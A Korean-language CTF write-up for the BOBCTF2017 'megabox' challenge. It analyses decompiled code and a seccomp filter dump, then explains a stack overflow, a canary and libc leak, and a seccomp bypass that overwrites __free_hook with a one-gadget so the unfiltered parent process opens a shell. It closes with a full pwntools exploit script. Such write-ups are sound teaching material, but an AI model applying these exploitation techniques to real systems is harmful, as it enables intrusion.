seccomp의 이해를 위한 실습
이름을 입력하면 메뉴가 주어진다.
피드백 읽기 및 쓰기, 프로그램 종료로 구분된다.
IDA로 확인해보자.
main
__int64 __fastcall main(__int64 a1, char **a2, char **a3) { int stat_loc; // [sp+18h] [bp-18h]@5 __pid_t pid; // [sp+1Ch] [bp-14h]@3 void *buf; // [sp+20h] [bp-10h]@1 void *v7; // [sp+28h] [bp-8h]@1 setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); alarm(0x1Eu); printf("your name... ", 0LL, a2); buf = malloc(0x20uLL); read(0, buf, 0x20uLL); printf("this step is for performance :)", buf); v7 = mmap(0x41410000, 0x21000uLL, 3, 34, -1, 0LL); if ( v7 == -1 ) exit(0); pid = clone(fn, v7 + 4096, 256, 0LL); if ( pid == -1 ) exit(0); if ( waitpid(pid, &stat_loc, 2147483648) == -1 ) exit(0); printf("sayonara %s\n", buf); free(buf); return 0LL; }
이름을 입력받고 clone()
을 이용하여 fn
루틴에 대한 서브 프로세스를 생성한다.
자식 프로세스의 종료를 기다린 후 free()
하고 종료된다.
주목할 점은 clone
은 두 번째 인자로 자식 프로세스가 사용하는 스택주소를 정해줄 수 있는데, mmap
으로 맵핑한 주소를 전달하고 있다는 것이다.
fn
__int64 __fastcall fn(void *arg) { __int64 result; // rax@2 __int64 v2; // rcx@12 char v3; // [sp+7h] [bp-99h]@3 int v4; // [sp+8h] [bp-98h]@3 int v5; // [sp+Ch] [bp-94h]@1 char buf; // [sp+10h] [bp-90h]@6 __int64 v7; // [sp+98h] [bp-8h]@1 v7 = *MK_FP(__FS__, 40LL); v5 = 0; if ( sub_400B2D() == 1 ) { result = 0LL; } else { while ( 1 ) { while ( 1 ) { puts("\n[menu]"); puts("1. write feedback"); puts("2. read feedback"); puts("3. exit"); puts("menu>>> "); scanf("%d%c", &v4, &v3); if ( v4 != 2 ) break; if ( v5 ) { puts("wait... reading the feedback book is hard work."); puts("oops!!"); write(1, &buf, 0x1000uLL); puts("thank you."); v5 = 0; } } if ( v4 == 3 ) break; if ( v4 == 1 ) { puts("feedback>>> "); gets(&buf); puts("thank you."); v5 = 1; } } result = 0LL; } v2 = *MK_FP(__FS__, 40LL) ^ v7; return result; }
처음에 sub_400B2D()
에서 seccomp를 설정한다.
그리고 메뉴를 입력받는데,
피드백 입력시 오버플로우가 발생하고
읽기시 출력크기가 버퍼크기를 초과하여 스택이 leak된다.
함수에서 canary를 검사하지만 이 값을 확인할 수 있으므로 우회 가능하다.
sub_400B2D
signed __int64 sub_400B2D() { ... ... ... if ( prctl( 38, 1LL, 0LL, 0LL, 0LL, *&v1, &v3, *&v3, *&v7, 6LL, 32LL, *&v19, *&v23, *&v27, *&v31, *&v35, *&v39, *&v43, *&v47, *&v51, *&v55, 6LL) ) { perror("prctl(NO_NEW_PRIVS)"); } else { if ( !prctl( 22, 2LL, &v1, *&v1, v2, *&v3, *&v7, *&v11, *&v15, *&v19, *&v23, *&v27, *&v31, *&v35, *&v39, *&v43, *&v47, *&v51, *&v55, *&v59) ) return 0LL; perror("prctl(SANDBOX_ERROR)"); } if ( *__errno_location() == 22 ) fwrite("FILTER failed\n", 1uLL, 0xEuLL, stderr); return 1LL; }
sub_400B2D
를 보면 bpf 필터식을 이용해 seccomp를 설정하는 코드를 확인할 수 있다.
사용가능한 시스템콜을 확인하기 위해 seccomp-tools
로 필터식을 살펴보자.
root@kali:/work/ctf/BOBCTF2017/megabox_d# cat dump
your name... this step is for performance :) line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x06 0x00 0x00 0x00000000 return KILL
root@kali:/work/ctf/BOBCTF2017/megabox_d#
필터식을 통해 read
, write
, exit
. sigreturn
, exit_group
의 시스템콜에 대해서만 허용하고 있다.
앞서 자식프로세스가 종료된 후 부모프로세스의 마지막 루틴을 보면 free()
를 호출한다는 것을 확인했었다.
__free_hook
을 one gadget으로 변경시킨다면, 이 때의 코드는 부모프로세스가 실행하는 것이므로 seccomp 필터에 걸리지 않고 one gadget이 실행되어 쉘을 얻을 수 있다.
oneshot을 수행하기 위해 libc base 주소를 알아야 한다.
하지만, 이미 프로그램에서는 libc의 주소를 제공해주고 있다.
피드백 출력시 leak되는 스택값에서 return address는 자식프로세스를 생성한 clone()
의 주소를 가리킨다.
이 값을 이용해 libc base 주소를 구할 수 있다.
libc_base = addr_ret - 0xFD2EF
oneshot을 위한 페이로드를 모두 구성하고 나면, free()
를 실행시켜야 한다. 하지만 직접 해당 주소로 접근하면 자식프로세스 소유인 쓰레드가 실행하게 되므로 seccomp에서 필터링 된다.
따라서 원래의 에필로그 코드가 실행되도록, 페이로드의 마지막 주소를 원래 스택에 저장되있던 리턴 주소로 설정해야 한다.
그러면 자식프로세스가 정상종료되고 부모프로세스 권한으로 free()
가 수행되어 oneshot을 성공할 수 있을 것이다.
파이썬 스크립트를 이용하여 작성했다.
from pwn import *
context.update(arch='amd64', os= 'linux', log_level='debug')
def _print():
p.sendlineafter('>> ', '2')
p.recvuntil('oops!!\n')
data = p.recv(1000)
p.recvuntil('thank you.')
return data
def _write(contents):
p.sendlineafter('>> ', '1')
p.sendlineafter('>> ', contents+'\x00')
def _exit():
p.sendlineafter('>> ', '3')
p = process("megabox")
p.recvrepeat(0.2)
p.sendline('1')
_write('1')
data = _print()
canary = data[0x90-8:0x90]
log.info('canary: ' + hex(u64(canary)))
addr_ret = u64(data[0x90+8:0x90+16])
log.info('ret: ' + hex(addr_ret))
elf = ELF('megabox')
addr_gets_plt = elf.plt['gets']
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
offset_freeHook = libc.symbols['__free_hook']
log.info('__free_hook: ' + hex(offset_freeHook))
offset_oneshot = 0xe926b
addr_prdi_ret = 0x401043
addr_prsi_ret = 0x401041
addr_main = 0x400E7F
libc_base = addr_ret - 0xFD2EF
addr_oneshot = libc_base + offset_oneshot
addr_freeHook = libc_base + offset_freeHook
addr_callFree = 0x400FD0
addr_free_plt = elf.plt['free']
log.info('gets: ' + hex(addr_gets_plt))
_write('a'*0x88 + canary + 'd'*8 + p64(addr_prdi_ret) + p64(addr_freeHook) + p64(addr_gets_plt) + p64(addr_ret))
_exit()
p.sendline(p64(addr_oneshot)) #overwrite address of onegadget to __free_hook
p.interactive()
페이로드를 실행하면 쉘이 실행되는 것을 확인할 수 있다.